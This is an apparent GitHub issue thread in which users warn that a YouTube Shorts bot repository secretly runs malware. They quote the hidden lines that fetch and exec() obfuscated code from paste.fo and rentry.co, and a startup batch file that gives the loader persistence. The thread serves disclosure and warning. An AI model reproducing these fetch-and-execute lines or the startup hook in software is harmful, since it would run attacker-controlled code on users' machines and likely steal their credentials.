pythontester192 / Youtube-Shorts-Bot

This Python Bot Scrape Videos from Pexels, & Add a Random Song from Songs Folder, Then You Can Auto Upload The Videos To Your Youtube Channel
134 stars 47 forks source link

Why run so obfuscated code? #7

Open morfer opened 1 year ago

morfer commented 1 year ago

Why are you running this super obfuscated code?

x=get('https://paste.fo/raw/ba188f25eaf3').text;exec(x)

You get remote code that loads a super obfuscated code fom (https://rentry.co/277t2/raw) and run it. It looks like and .exe that is loaded into the system. Is it some type of virus or what?

Zizoxy commented 1 year ago

Yes, it is an evil link I was disappointed

sacramentosweater commented 1 year ago

They created a batch file to run on startup

@echo off
start "" "D:\Python\Youtube-Shorts-Bot\Scripts\pythonw.exe" "C:\Users\username\AppData\Local\Temp\tmpwgeefjao"

and that temp file was grabbing some super obfuscted code like above and running it from urllib.request import urlopen as _uurlopen;exec(_uurlopen('https://rentry.co/o32uc/raw').read())

morfer commented 1 year ago

Probably it's some type of malware to steel all your credentials. I suggest to search and remove all from your system and report this repository on github.